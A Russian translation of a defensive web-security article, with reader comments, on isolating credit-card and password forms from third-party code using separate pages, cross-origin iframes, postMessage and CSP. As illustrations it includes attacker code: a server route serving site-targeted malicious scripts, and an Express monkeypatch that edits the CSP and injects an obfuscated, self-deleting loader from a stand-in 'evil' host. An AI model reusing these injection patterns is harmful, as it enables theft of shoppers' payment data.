Рассказ о том, как не дать мне украсть номера кредиток и пароли у посетителей ваших сайтов

Original author: David Gilbertson
  • Translation
Недавно мы опубликовали перевод истории программиста, придумавшего способ распространения вредоносного кода, который собирает данные банковских карт и пароли с тысяч сайтов, оставаясь при этом незамеченным.


Тот пост вызвал живой и эмоциональный отклик аудитории. Кто-то говорил о том, что всё пропало, и теперь он не сможет спокойно спать, кто-то утверждал, что уж его-то проектов это точно не коснётся, кто-то задавал вопросы о том, как от такого защититься… К проблеме, поднятой в предыдущем материале, можно относиться по-разному, но она вполне реальна, поэтому сегодня мы публикуем продолжение истории того, кто ворует номера кредиток. Сегодня он расскажет о методах защиты веб-проектов от потенциально опасного кода.

В двух словах о самом главном


Прежде чем переходить к деталям, рассмотрим, в двух словах, основные идеи, которые будут здесь раскрыты.

Итак, для защиты веб-проектов нужно учесть, как минимум, две вещи. Во-первых, стороннего кода избегать не надо. Во-вторых, особое внимание следует уделить сбору и обработке данных, которые могут быть интересны потенциальному злоумышленнику.

А именно, сбор подобных данных необходимо проводить средствами выделенной веб-страницы, которую следует выводить в отдельном iframe. Размещать её надо на сервере для статических веб-страниц, расположенном на домене, отличном от домена основного сайта. Это — если вы хотите работать, скажем, с банковскими картами, самостоятельно. Здесь можно пойти и другим путём, например, если вы сомневаетесь в действенности вышеописанных защитных мер, или просто не хотите усложнять свой проект. Этот путь заключается в том, что обработку подобных данных можно полностью передать специализированному сервису.

Рекомендации, данные в этом материале, хорошо подходят лишь для сайтов, работающих с ограниченными категориями ценной информации, которую можно чётко отделить от всего остального и соответствующим образом защитить (это, например — логины и пароли, а также данные банковских карт). Если же вы занимаетесь разработкой чего-то вроде чата или приложения для работы с базами данных, где абсолютно всё может представлять интерес для злоумышленника, эти рекомендации тут особенно не помогут.

Хомяк и доберман


Немного страха — это обычно полезно. Это мобилизует и заставляет действовать. Предлагаю вам оценить ощущения, которые возникли бы у вас, если бы вам пришлось делать заявление, подобное тому, которое недавно пришлось сделать компании OnePlus:

…в код страницы обработки платежей был внедрён вредоносный скрипт, который предназначен для кражи данных кредитных карт в процессе их ввода… Этот скрипт работал с перерывами, перехватывая данные и отправляя их злоумышленникам прямо из браузеров пользователей… это происшествие может затронуть до 40 тысяч пользователей oneplus.net.

Страх, о котором мы говорили выше, не имеет конкретной формы. Для того чтобы с ним разобраться, давайте обратимся к зоологии, найдём его материальное воплощение в животном мире.

Я представляю сторонний код как здоровенного матёрого добермана. Он выглядит спокойным, даже благодушным. Но в его чёрных немигающих глазах таятся искры неизвестного. Достаточно сказать, что я не оставлю ничего, что мне дорого, там, куда он может добраться.

Конфиденциальные данные моих пользователей я представляю себе в виде милого беззащитного хомячка. Я вижу, как он, с невинным видом, лижет передние лапки и умывает свою глуповатую мордочку, как он беззаботно резвится прямо перед собачьей пастью.

Теперь, если вы когда-нибудь состояли в дружеских отношениях с доберманом (что я вам очень рекомендую), вы вероятно знаете, что доберманы — это прекрасные, добрые существа, которые определённо не заслуживают той дурной репутации, которой их наделило общественное мнение. Однако, несмотря на это, вы не будете спорить с тем, что не стоит оставлять добермана наедине с хомяком, который удивительно похож на жевательную игрушку для собак.

Уверен, что если вы, уходя из дома, оставите этих двоих в одной комнате, то, вернувшись, застанете умилительную сцену всеобщего спокойствия и увидите хомяка, спящего на спине добермана. Или, может (что более вероятно), там, где раньше был ваш маленький питомец, окажется лишь пустота, а собака, склонив голову набок, будет как бы спрашивать о том, можно ли взглянуть на меню десертов.

Я считаю, что код, который взят из npm, GTM, DFP, или откуда угодно ещё, не нужно считать бесспорно опасным. Но я хочу предложить, чтобы, если вы не можете гарантировать того, что этот код будет вести себя достойно, вы учитывали бы то, что безответственно оставлять его наедине с конфиденциальными данными пользователей.

Итак, я советую придерживаться следующего настроя: конфиденциальные данные и сторонний код нельзя держать вместе без присмотра.

Пример: защита уязвимого сайта


Сайт, который мы рассмотрим в этом примере, имеет форму для ввода данных кредитных карт, к которой может получить доступ вредоносный код. Подобные формы можно увидеть в нескольких очень крупных интернет-магазинах, которые вы, вероятно, считали хорошо защищёнными.


Форма для ввода данных банковской карты

Эта страница буквально переполнена сторонним кодом. Она использует React и была создана с помощью Create React App, поэтому даже до начала серьёзной работы над ней у неё уже было 886 зависимостей.

Кроме того, на ней имеется Google Tag Manager (если кто не знает — GTM — это удобный механизм, который позволяет совершенно неизвестным вам людям внедрять JS-код на ваш сайт, успешно обходя помехи в виде анализа кода).

И, для полного счастья, на этой странице есть ещё и баннерная реклама (она на скриншот не попала). Эта реклама представляет собой полтора мегабайта JS-кода, разбросанного по 112 сетевым запросам. Всему этому требуется 11 секунд процессорного времени для того, чтобы загрузить единственную анимированную гифку, изображающей скачущую на лошади кредитную карту.

(Тут мне хотелось бы отметить, что меня, в связи со всем этим, разочаровывает Google. Его сотрудники, пропагандирующие правильные подходы к программированию, тратят уйму времени, рассказывая нам о том, как сделать веб быстрым. Там убрали несколько десятков килобайт, тут сэкономили несколько миллисекунд… Всё это замечательно, но в то же время они позволяют собственной рекламной сети DFP отправлять мегабайты данных на устройства пользователей, выполняя сотни сетевых запросов и отнимая секунды процессорного времени. Google, я знаю, в твоём распоряжении достаточно квалифицированных специалистов, умственного потенциала которых хватит для того, чтобы создать более интеллектуальный и более быстрый способ работы с рекламными объявлениями. Почему же этого до сих пор не сделано?)

Итак, вернёмся к нашей теме. Очевидно, мне нужно выдернуть секретные данные пользователей из загребущих рук стороннего кода. Мне хочется, чтобы форма, о которой идёт речь, жила бы на собственном маленьком острове.


Сначала надо найти симпатичную картинку, а потом придумать метафору, которая свяжет эту картинку с темой статьи

Теперь, когда вы достаточно настроились на серьёзную работу, прочитав некоторую часть моего сегодняшнего рассказа, я собираюсь приступить к описанию практических подходов по защите ценных данных от стороннего кода. А именно, тут мы рассмотрим три варианта защиты:

  • Вариант 1: перемещение формы для ввода данных кредитной карты в её собственный документ, в котором нет стороннего кода, и обслуживание этого документа как отдельной страницы.
  • Вариант 2: по сути, то же самое, что и первый вариант, но страница для ввода данных карты размещается в iframe.
  • Вариант 3: то же, что и второй вариант, но родительская страница и iframe обмениваются данными с использованием механизма postMessage.

▍Вариант 1: отдельная страница для конфиденциальных данных


В целях безопасности проще всего будет создать новую страницу для работы с конфиденциальными данными, на которой вообще нет JavaScript-кода. Когда пользователь щёлкает по кнопке «Купить», его, вместо показа ему какой-нибудь симпатичной формы, встроенной в страницу и стилизованной в соответствии с её дизайном, отправляют на примерно такую страницу:


Выделенная страница для работы с данными банковских карт

К несчастью, так как шапка, подвал и панель навигации моего сайта являются компонентами React, я не могу использовать их на этой странице, созданной без привлечения стороннего кода. Поэтому её шапка, синий прямоугольник с надписью, представляет собой вручную сделанную копию полнофункциональной шапки. Самодельная шапка, конечно, не обладает теми же возможностями.

Когда пользователь ввёл данные в форму, он щёлкает по кнопке Отправить (Submit) и попадает на следующий шаг процесса совершения покупки. Это может потребовать некоторых изменений в серверной части сайта, которые позволяют отслеживать действия пользователя и те данные, которые он отправляет в систему по мере перемещения его по страницам сайта.

Для того, чтобы файл с формой не содержал ничего лишнего, я воспользовался стандартными механизмами проверки формы вместо того, что можно сделать на JavaScript. Как результат, уровень поддержки такой страницы превышает 97%, а работа с атрибутами required и pattern позволяет оценить то, насколько далеко продвинулась реализация проверки введённых данных с помощью JavaScript.

Вот пример такой страницы на CodePen. Тут используется проверка введённых данных с помощью регулярных выражений без использования JS и условная стилизация.

Если вы собираетесь пользоваться подобным подходом на практике, рекомендую держать код, имеющий отношение к форме, в одном файле. Сложность — это враг такого подхода (в нашей ситуации подобное отношение к сложности особенно справедливо). HTML-файл вышеприведённого примера, вместе со встроенным CSS в теге <style>, занимает примерно 100 строк кода. Так как он очень мал и для отображения этого файла не нужно дополнительных сетевых запросов, практически невозможно незаметно его изменить.

К несчастью такой подход требует копирования CSS-стилей. Я много об этом думал и рассматривал разные подходы. Все они требуют больше кода, чем тот объём скопированного CSS, дупликацию которого можно с их помощью предотвратить.

Итак, хотя идея «Don’t Repeat Yourself» — это отличный ориентир, её не следует рассматривать как абсолютное правило, которое нужно выполнить любой ценой. В некоторых редких случаях, вроде того, который мы тут рассматриваем, копирование кода — это меньшее из двух зол.

Самые полезные правила — это те, о которых известно, когда их можно нарушить.
(В новом году я пытаюсь сообщать умные вещи, не говоря ничего по существу).

▍Вариант 2: самостоятельная страница в iframe


Первый вариант получился вполне рабочим, но это — шаг назад с точки зрения проектирования пользовательских интерфейсов и UX. К тому же, этап, когда вы принимаете у кого-то деньги — это не тот случай, когда стоит нагружать человека лишними перемещениями по страницам.

Второй вариант улучшает ситуацию благодаря тому, что страница с формой размещается в iframe.

Тут вы, возможно, попытаетесь сделать нечто вроде этого:

<iframe
  src="/credit-card-form.html"
  title="credit card form"
  height="460"
  width="400"
  frameBorder="0"
  scrolling="no"
/>

Не делайте так.

В данном примере родительская страница и содержимое iframe могут свободно видеть друг друга и друг с другом взаимодействовать. Это будет то же самое, как если оставить добермана в одной комнате, хомяка — в другой, а между этими двумя комнатами будет незапертая дверь, которую доберман, когда проголодается, легко сможет открыть.

Хорошо бы поместить iframe в «песочницу». Причём (как я только что узнал), это не имеет никакого отношения к атрибуту iframe sandbox, так как он направлен на защиту родительской страницы от iframe. Наша же задача заключается в том, чтобы защитить iframe от родительской страницы.

В браузерах есть встроенный механизм, который позволяет с недоверием относиться к коду, который поступает из источника, отличного от того, откуда берётся базовая страница. Это называется same-origin policy — политика безопасности, которая ограничивает взаимодействие кода, полученного из разных источников. Благодаря этому механизму для того, чтобы предотвратить взаимодействие базовой страницы с iframe, достаточно загрузить в iframe страницу с другого домена:

<iframe
  src="https://different.domain.com/credit-card-form.html"
  title="credit card form"
  height="460"
  width="400"
  frameBorder="0"
  scrolling="no"
/>

При таком подходе, если вернуться к нашему примеру из мира домашних животных, хомяк скажет вам огромное спасибо за то, что вы надёжно заперли дверь.

Если вас беспокоит вопрос доступности содержимого iframe для людей с ограниченными возможностями, то могу сказать, что, во-первых, я вами горжусь, во-вторых — можете об этом больше не беспокоиться. Вот что сообщает об этом WebAIM: «Встроенные iframe не имеют известных проблем с доступностью. Содержимое встроенного iframe считывается с позиции его включения в страницу (основываясь на порядке следования тегов в разметке) так, как если бы оно было содержимым родительской страницы».

Подумаем теперь о том, что произойдёт, когда форма будет заполнена. Пользователь щёлкнет по кнопке отправки этой формы, находящейся в iframe, но нам нужно, чтобы это подействовало на родительскую страницу. Однако, у содержимого страницы и iframe разные источники, что заставляет задаться вопросом о том, возможна ли реализация вышеописанной схемы.

Это, к счастью, возможно, и именно для этого предназначен атрибут формы target:

<form
  action="/pay-for-the-thing"
  method="post"
  target="_top"
>
  <!-- form fields -->
</form>

Итак, пользователь может ввести конфиденциальные данные в форму, которая идеально сочетается с основной страницей. Затем, при отправке формы, осуществляется перенаправление родительской страницы.

Рассматриваемый нами второй вариант защиты ценных данных — это огромный шаг вперёд в плане безопасности, а именно, на базовой странице, полной внешних зависимостей, больше нет формы, доступной коду этих зависимостей.

Однако идеальное решение нашей проблемы не должно требовать перенаправления страницы. Это приводит нас к третьему варианту.

▍Вариант 3: обмен данными между родительской страницей и iframe


На моём экспериментальном сайте мне хотелось бы хранить данные банковской карты в состоянии приложения, вместе со сведениями о приобретаемом товаре, а после сбора всей необходимой информации передавать её с помощью одного AJAX-запроса.

Это невероятно просто. Для отправки данных из формы на родительскую страницу, воспользуюсь механизмом postMessage.

Итак, вот страница, размещённая в iframe:

<body>
  <form id="form">
    
    <!-- form stuff in here -->
    
  </form>

  <script>
    var form = document.getElementById('form');
    form.addEventListener('submit', function(e) {
      e.preventDefault();
      var payload = {
        type: 'bananas',
        formData: {
          a: form.ccname.value,
          b: form.cardnumber.value,
          c: form.cvc.value,
          d: form['cc-exp'].value,
        },
      };
      window.parent.postMessage(payload, 'https://mysite.com');
    });
  </script>
</body>

Обратите внимание на var. Теперь, на родительской странице (или, точнее, в компоненте React, который ответственен за iframe), я просто ожидаю сообщений от iframe и соответствующим образом обновляю состояние:

class CreditCardFormWrapper extends PureComponent {
  componentDidMount() {
    window.addEventListener('message', ({ data }) => {
      if (data.type === 'bananas') {
        this.setState(data.formData);
      }
    });
  }

  render() {
    return (
      <iframe
        src="https://secure.mysite.com/credit-card-form.html"
        title="credit card form"
        height="460"
        width="400"
        frameBorder="0"
        scrolling="no"
      />
    );
  }
}

Этот пример основан на React, но ту же идею можно реализовать и другими средствами.
Если покажется, что этот подход небезопасен, вместо этого можно отправлять данные из формы родительской сущности с помощью события onchange, по отдельности для каждого поля.

Пока я всё это делаю, ничто не мешает родительской странице выполнить проверку введённых данных и отправить форме сообщение о том, правильно ли всё введено. Это позволяет мне переиспользовать код проверки ввода, который имеется ещё где-то в моём проекте.

Тут мне хотелось сделать дополнение, основанное на двух ценных комментариях, в которых мне подсказали, что iframe может отправить данные, не выполняя перенаправление родительской страницы, а затем передать родительской странице сообщение об успешном или неудачном проведении операции с использованием postMessage. При таком подходе на родительскую страницу вообще не передаётся каких-либо конфиденциальных данных.

Вот и всё! Ценные данные пользователя безопасно введены в форму, размещённую в iframe и загруженную туда из источника, отличающегося от источника базовой страницы. Эти данные скрыты от родительской страницы, но при этом они могут быть частью состояния приложения, что означает, что пользователю будет так же удобно работать с сайтом, как и без использования iframe.

Тут вы, возможно, подумаете, что отправка данных кредитной карты на родительскую страницу перечёркивает все наши усилия по защите этих данных. Не будут ли эти данные доступны вредоносному коду, размещённому на базовой странице?

Ответ на этот вопрос состоит из двух частей, и я заранее извиняюсь, но мне не удается придумать простой способ это объяснить.

Причину, по которой я считаю уровень риска, характерный для предложенного подхода, приемлемым, легче всего понять, если смотреть на ситуацию глазами хакера. Представьте, что перед вами стоит задача создать вредоносный код, который может работать на любом веб-сайте, выполняя поиск ценной информации и отправляя её на какой-нибудь сервер. Каждый раз, когда этот код что-то отправляет, он рискует быть обнаруженным. Поэтому в ваших интересах отправлять на сервер лишь те данные, в ценности которых вы уверены.

Если бы мне надо было написать подобный код, я не стал бы без разбора слушать события message и отправлять на сервер то, что удалось из них извлечь. Мне это ни к чему, так как существуют тысячи сайтов, на которых используются уязвимые формы для ввода платёжных данных, а поля этих форм аккуратно подписаны.

Вторая часть ответа заключается в том, что вредоносный код, который вас беспокоит, это не нечто универсальное. Этот код вполне может знать, какие именно сообщения ему нужно перехватывать, а значит — сможет украсть ценные данные, передаваемые в этих сообщениях. Защита от вредоносного кода, который написан специально для вашего сайта — это тема, которая достойна отдельного раздела.

Универсальный вредоносный код, и код, рассчитанный на конкретный сайт


До сих пор я говорил об атаках, использующих универсальный вредоносный код. Речь идёт о коде, который не знает, на каком именно сайте он выполняется. Он просто ищет то, что ему нужно, собирает это и отправляет в логово своего создателя-злодея.

Вредоносный код, нацеленный на конкретный сайт, с другой стороны, это код, который написан с учётом особенностей конкретного веб-проекта. Он создан квалифицированным разработчиком, который потратил недели на то, чтобы досконально изучить этот проект.

Если ваш сайт был инфицирован вредоносным кодом, написанным специально для него, это значит, что вы попали. И в этом нет никаких сомнений. Возможно, всё ценное вы обрабатываете в прекрасно защищённом iframe, но вредоносный код просто уберёт этот iframe и заменит его на обычную форму. Атакующий даже может изменить цены в вашем интернет-магазине, скажем, пообещав скидку в 50% и предложив пользователям, которые уже вводили данные своих кредитных карт, ввести их повторно для получения бонуса. Такая атака — настоящее бедствие.

Если с вами такое случится, пожалуй, вам останется лишь поискать позитива в простых радостях жизни.

Именно поэтому так важна политика защиты контента. Жизненно важна. В противном случае атакующий может массово распространять универсальный вредоносный код (скажем, через npm-пакет), а затем «проапгрейдить» его до кода, рассчитанного на ваш проект, просто отправив запрос на свой сервер и отправив в ответ то, что нужно. Вот как это может выглядеть на сервере злоумышленника:

app.get('/analytics.js', (req, res) => {
  if (req.get('host').includes('acme-sneakers.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/acme-sneakers.js'));
  } else if (req.get('host').includes('corporate-bank.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/corporate-bank.js'));
  } else if (req.get('host').includes('government-secrets.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/government-secrets.js'));
  } else if (req.get('host').includes('that-chat-app.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/that-chat-app.js'));
  } else {
    res.sendFile(path.join(__dirname, '../malicious-code/generic.js'));
  }
});

Атакующий может делать с кодом, рассчитанным на конкретный сайт, всё, что ему заблагорассудится. Например — обновлять его вслед за обновлениями сайта. Поэтому обязательно используйте политику защиты контента.

В общем-то, всё вышесказанное сводится к тому, что использование postMessage для отправки конфиденциальных данных из iframe на родительскую страницу лишь слегка увеличивает риск. Универсальный вредоносный код вряд ли сможет понять эти сообщения, а код, нацеленный специально на ваш сайт, возьмёт то, что ему нужно независимо от того, как вы пытаетесь защититься.

Тут мне хотелось бы отметить, что я бы не использовал три вышеописанных варианта защиты на собственном маленьком сайте. Я позволил бы заняться обработкой данных кредитных карт моих клиентов профессионалам и предлагал бы лишь возможность входа на сайт с использованием Google, Facebook или Twitter. Конечно, не стоит слепо применять такой подход. Тут сначала надо оценить потенциальные финансовые потери, связанные с недополученным доходом от пользователей, которые не захотят входить на ваш сайт с использованием аккаунтов в социальных сетях, а также риски, связанные с безопасным хранением данных пользователей.

Другие уязвимые места веб-проектов


Возможно, вы думаете, что если вы последуете вышеприведённым советам, то ваш проект будет в безопасности. Если бы всё было так просто… Я вижу, в дополнение к формам ввода данных, ещё четыре уязвимых места веб-проектов. Обещаю, что буду поддерживать сведения по этим уязвимостям в актуальном состоянии.

▍Сервер


Итак, у нас имеется идеальная HTML-страница, на которой нет абсолютно ничего лишнего. С её помощью мы безопасно принимаем у пользователей конфиденциальные данные. Осталось лишь разместить её на каком-нибудь домене, который отличается от основного домена сайта.

Возможно, это будет простой сервер на Node.js. Ну, может добавим к нему всего один маленький пакет для логирования…


Ох, ну ничего ж себе. 204 пакета?

Ладно, 204 пакета — это много, но тут может возникнуть вопрос о том, как код, выполняющийся на сервере, который отдаёт лишь статические файлы, может угрожать данным пользователя, вводимым в браузере?

Проблема заключается в том, что любой код, из любого npm-пакета, который выполняется на сервере, может делать всё, что ему будет угодно, с другим кодом, включая тот, который занимается обработкой сетевого трафика.

Предположим, я — начинающий разработчик, которого приводят в замешательство четырёхбуквенные слова вроде this и call, но даже я могу найти способ внедрения скрипта в логику обработки данных, покидающих сервер и позволить серверу выполнять запросы к моему домену, отредактировав заголовок CSP.

const fs = require('fs');
const express = require('express');

let indexHtml;
const originalResponseSendFile = express.response.sendFile;

express.response.sendFile = function(path, options, callback) {
  if (path.endsWith('index.html')) {
    // добавляю свой домен в политику защиты контента
    let csp = express.response.get.call(this, 'Content-Security-Policy') || '';
    csp = csp.replace('connect-src ', 'connect-src https://adxs-network-live.com ');

    express.response.set.call(this, 'Content-Security-Policy', csp);

    // внедряю самоуничтожающийся скрипт
    if (!indexHtml) {
      indexHtml = fs.readFileSync(path, 'utf8');

      const script = `
        <script>
          var googleAuthToken = document.createElement('script');
          googleAuthToken.textContent = atob('CiAgICAgICAgY29uc3Qgc2NyaXB0RWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBzY3JpcHRFbC5zcmMgPSAnaHR0cHM6Ly9ldmlsLWFkLW5ldHdvcms/YWRfdHlwZT1tZWRpdW0nOwogICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoc2NyaXB0RWwpOwogICAgICAgIHNjcmlwdEVsLnJlbW92ZSgpOyAvLyByZW1vdmUgdGhlIHNjcmlwdCB0aGF0IGZldGNoZXMKICAgICAgICBkb2N1bWVudC5zY3JpcHRzW2RvY3VtZW50LnNjcmlwdHMubGVuZ3RoIC0gMV0ucmVtb3ZlKCk7IC8vIHJlbW92ZSB0aGlzIHNjcmlwdAogICAgICAgIGRvY3VtZW50LnNjcmlwdHNbZG9jdW1lbnQuc2NyaXB0cy5sZW5ndGggLSAxXS5yZW1vdmUoKTsgLy8gYW5kIHRoZSBvbmUgdGhhdCBjcmVhdGVkIGl0CiAgICA=');
          document.body.appendChild(googleAuthToken);
        </script>
      `;

      indexHtml = indexHtml.replace('</body>', `${script}</body>`);
    }

    express.response.send.call(this, indexHtml);
  } else {
    originalResponseSendFile.call(this, path, options, callback);
  }
};

Когда внедрённый скрипт попадает в браузер, он загружает некоторый код (возможно — рассчитанный специально на этот сайт) с сервера злоумышленника (а он может это сделать, так как CSP ему уже не помешает), а затем уничтожает все свидетельства собственного присутствия.

Сам по себе код, приведённый выше, бесполезен (внимательный читатель, наверняка, это уже заметил), и настоящий хакер, вероятно, не станет подобным образом обращаться с Express. Я просто показываю потенциальную уязвимость сервера, и то, что любой код, выполняющийся на нём, вполне может привести к краже данных, которые пользователь вводит в браузере.

Если вы — автор пакета, вы можете рассмотреть использование Object.freeze или Object.defineProperty с установленным writable: false для того, чтобы защитить вашу разработку от вмешательства извне.

Если говорить о реальной осуществимости вышеописанной атаки, то вероятность её реализации очень низка. Полагаю, если некий модуль для Node будет делать нечто подобное, его будет очень легко обнаружить.

Однако если речь идёт о реальной безопасности и ответственности, задайтесь вопросом о том, готовы ли вы к потенциальным проблемам, которые могут быть вызваны серверным кодом, модифицирующим страницы, считающиеся защищёнными, перед отправкой их пользователям?

Рекомендую размещать подобные страницы на статическом файловом сервере или просто не заниматься всем тем, о чём мы тут говорим.

▍Отправка материалов на сервер для хранения статических файлов


В названии этого подраздела содержится и описание уязвимости, и описание одного из этапов работы над защищённым сайтом.

Мне нравится использовать для хостинга статических файлов Firebase. Этот сервис невероятно быстр и с ним очень легко взаимодействовать. А именно, для работы с ним достаточно установить пакет firebase-tools из npm, и… Так, стоп, получается, что мы используем npm-пакет для того, чтобы избавиться от необходимости применять npm-пакеты на сервере?

Хотя, надо успокоиться. Может быть перед нами — один из тех прекрасных npm-пакетов, у которых вообще нет зависимостей.

Наблюдаем за процессом установки…


640 пакетов

Вот уж и правда, повезло нам с firebase-tools. Установлено всего 640 пакетов.

Ладно, тут я прекращаю давать рекомендации по статическим хостингам. Вам нужно просто найти способ залить файлы на выбранный вами сервер. И в ходе этого процесса вам придётся довериться коду, который написали не вы.

Кстати, забавная вещь. Я писал этот материал несколько недель. Когда дело дошло до проверки окончательного варианта, я решил проверить правильность данных по firebase-tools и установил этот пакет снова…


Сначала было 640 пакетов, а потом стало 647

Меня прямо-таки съедает любопытство. Зачем нужны эти 7 дополнительных пакетов? Знают ли те, кто занимается разработкой Firebase, о том, каковы функции этих семи пакетов? Знает ли вообще кто-нибудь, что делают те пакеты, от которых зависят их пакеты?

▍Webpack


Вероятно, вы заметили, что я не давал советов о включении «защищённых» HTML-файлов в процессы сборки ваших проектов (скажем, для использования единых CSS-правил), даже хотя это и решило бы проблему дупликации кода.

Всё это именно так из-за того, что тысячи пакетов, которые используются даже в простейшем процессе сборки проекта с помощью Webpack, способны влиять на его итоговый результат. Сам по себе Webpack требует 367 пакетов. Если добавить сюда что-то вроде загрузчика CSS, пакетов станет на 246 больше. Отличный html-webpack-plugin, который вы, возможно, используете для того, чтобы поместить правильное имя CSS-файла в код главной страницы, потребует ещё 156 дополнительных пакетов.

Опять же, я полагаю, что вероятность того, что любой из этих пакетов внедрит какой-нибудь неожиданный скрипт в минифицированный выходной код, стремится к нулю. Однако на мой взгляд неправильно будет потратить уйму времени на ручное создание кристально чистого HTML-файла, а потом запереть его в комнате с несколькими сотнями доберманов.

▍Неопытные разработчики


Последний фактор риска, о котором я хочу рассказать, пожалуй, опаснее всех остальных. Это — неопытный разработчик в команде, который начал программировать полгода назад и пока ещё не вполне понимает смысл выполняемых им действий. Он может изменить любой написанный вами код, он способен уничтожить любые построенные вами «защитные сооружения».

На самом деле, от этого защищаться сложнее всего. Единственное вменяемое решение, которое приходит мне в голову, это нечто вроде модульных тестов, которые направлены на проверку отсутствия внешних скриптов в «защищённых» HTML-файлах.

const fs = require('fs');
const path = require('path');
const { JSDOM } = require('jsdom');

it('should not contain any external scripts, ask David why', () => {
  const creditCardForm = fs.readFileSync(path.resolve(__dirname, '../public/credit-card-form.html'), 'utf8');

  const dom = new JSDOM(
    creditCardForm,
    { runScripts: 'dangerously' },
  );

  const scriptElementWithSource = dom.window.document.querySelector('script[src]');
  expect(scriptElementWithSource).toBe(null);
});

Тут я разрешаю использование тега <script> без указания источника (то есть, речь идёт о встроенном коде), но блокирую такие же теги с атрибутом src. Тут же я настраиваю jsdom, что позволяет узнать о создании нового элемента скрипта с помощью document.createElement().

По крайней мере, при таком подходе новому разработчику придётся модифицировать модульный тест для того, чтобы добавить скрипт, а это уже окажется достаточно интересным для того, кто занимается проверкой кода.

Кроме того, полагаю, что весьма полезно наладить выполнение подобных проверок опубликованных «безопасных» HTML-файлов. В результате можно чувствовать себя уверенней даже пользуясь чем-то вроде firebase-tools и Webpack, и зная, что в том маловероятном случае, если один из 1200 пакетов, участвующих в формировании проекта, решит внедрить в него что-то постороннее — сработает сигнализация.

Итоги


Прежде чем мы завершим сегодняшний разговор, мне хотелось бы прокомментировать одну идею, которая часто встречалась мне за последние несколько недель. Заключается она в предложении использовать меньше npm-пакетов.

Я понимаю эмоциональную составляющую подобного хода мыслей: если пакеты могут быть опасными, это значит, что чем меньше пакетов — тем меньше опасность.

Однако эта рекомендация никуда не годится. Если защита данных ваших пользователей основана на том, что вы сокращаете число используемых npm-пакетов, то о такой «безопасности» лучше и не говорить.

Если для того, чтобы навредить хомяку, достаточно и одного добермана, то ясно, что пять доберманов будут не менее опасны, чем десять.

Если бы завтра я принялся за новый проект, за сайт, который обрабатывает сверхсекретные данные, я использовал бы те инструменты, к которым привык: React, Webpack, Babel и так далее. Всё было бы так же, как и месяц тому назад.

Мне не важно — имеется ли в моём проекте тысяча пакетов, я не обращаю внимания на то, что они постоянно меняются, меня не беспокоит даже то, что я никогда не смогу быть абсолютно уверен в том, что ни в одном из них нет вредоносного кода.
Всё это не имеет значения, так как я не собираюсь оставлять все эти пакеты без присмотра в одной комнате с моим хомяком.

Уважаемые читатели! Компьютерная безопасность — это как раз то место, о котором говорят: «один в поле не воин». Тут самые лучшие мысли обычно вырабатывает коллективный разум. Поэтому если у вас есть идеи, касающиеся защиты веб-проектов от кражи ценных данных — просим ими поделиться.

RUVDS.com
946.61
RUVDS – хостинг VDS/VPS серверов
Share post

Comments 56

    +1
    Пожалуй первый убедительный ответ на гипотетическое повсеместное внедрение вредоносного пакета.
      +1

      А CSP чем не ответ?

      +4
      А что мешает вредоносному коду просто поменять адрес у iframe в аттрибуте src и загрузить свой собственный фрейм который отправит данные злоумышленникам?
        0
        Верстать свои фреймы для тысяч сайтов, чтобы пользователь не заметил подмены? Плюс можно спалить один и тот же адрес фрейма на разных сайтах.
        А данные по покупке — сумма и т.д., если в правильномй фрейме они есть, а в неправильном — нет?

        З.Ы. Со стороны пользователя, предварительно два раза умышленно ввести заведомо неправильные данные карты, если код крадёт данные без проверки их на лету? Ошибочная «верная покупка» — уходим?
          +3
          Можно проксировать оригинальный фрейм через свой сервер добавляя в него вредонос
            0
            Успешно подменив SSL сертификаты?
              +3
              Нет никакой необходимости притворяться оригиналом, т.к. пользователь не увидит ни домен, ни url, ни зеленый замочек, для проксирования подойдет любой домен+сертификат letsencrypt
        • UFO just landed and posted this here
          –1
          Недавно мы опубликовали перевод истории программиста, придумавшего способ распространения вредоносного кода, который собирает данные банковских карт и пароли с тысяч сайтов, оставаясь при этом незамеченным.

          Перевод фантазии программиста. Не знаю, зачем вы вводите читателей в заблуждение.


          Первая статья сама по себе была довольно ужасна, а вторая часть это просто жесть какая-то. Поэтому у неё и рейтинг на hackernoon 7к против 160к первой. Отсутствие внятных комментарий к ней на hackernoon я могу объяснить только тем, что каждый достаточно погруженный в тему разработчик просто выкидывает свой ноутбук в окно после прочтения.


          Предлагать использовать iframe для секьюрных данных… Почему не Flash, не Silverlight, не Java апплеты? Тоже же "отличные" решения. И столь же современные.


          Из очевидных проблем, с которыми вы столкнётесь (простите, все не скажу, я бэкендер):


          • блокирование iframe в браузере и всяких адблокерах
          • невозможность использования родительских компонентов, стилей, библиотек, валидации карточных данных, обработки ошибок, предложений по партнёрским программам… Всего.
          • рассинхрон загрузки на два сайта. Сама возможность того, что у вас может загрузиться сайт и не загрузиться платёжная форма — это редкостная жесть.
          • если пользователь случайно заметит, что он вводит данные в iframe (который к тому же грузится с левого сайта), то он убежит в панике.

          Ну и в целом можно просто забить в google вопрос "should i use iframes" и наслаждаться.
          Никак не ожидал увидеть такую жесть в 2018 году.


          Если вам кажется, что с этими двумя статьями что-то не так, и вам интересно, как такие проблемы решаются на самом деле, то рекомендую почитать две статьи — раз (почему это ложь) и два (что делать на самом деле).


          P.S. Тем не менее, за перевод спасибо, конечно.

            +2

            Ну и отдельное удивление вызывает то, что автор абсолютно не представляет себе современные механизмы интеграции с платёжным системами. Сейчас всё, что вы делаете на своей стороне — это генерируете идентификатор платежа, который передаёте при переходе на страницу банка или платёжной системы. Так работает пейпал, киви и большинство банков, включая тот же ТКС. В этом случае нигде не вашем сайте не вводятся карточные данные, и максимум что может сделать хакер — получить или подменить идентификатор вашего платежа, что не очень интересно.

              0
              Не использовать iframe в приложениях и не использовать iframe когда это нужно (для защиты) это не совсем одно и то же. Переводить на страницу банка — это наиболее защищенный вариант т.к. пользователь может посмотреть на url, сертификат и т.п. ИТак работали все лет 5 назад. Сейчас параллельно к таким способам экваеры предлагают полагинны на iframe который по сути защищены так же как и отдельная страница.

              Никакой контроль за «чистотой» библиотек не спасет от скриптов которые загружаются с других хостов (реклама, упомянутые GTM, fb ...). С учетом того что сейчас в тренде SPA приложения переход на оитдельную «чистую» страницу будет в большей степени ломать прилоджение чем асинхронность загрузки iframe.
                0

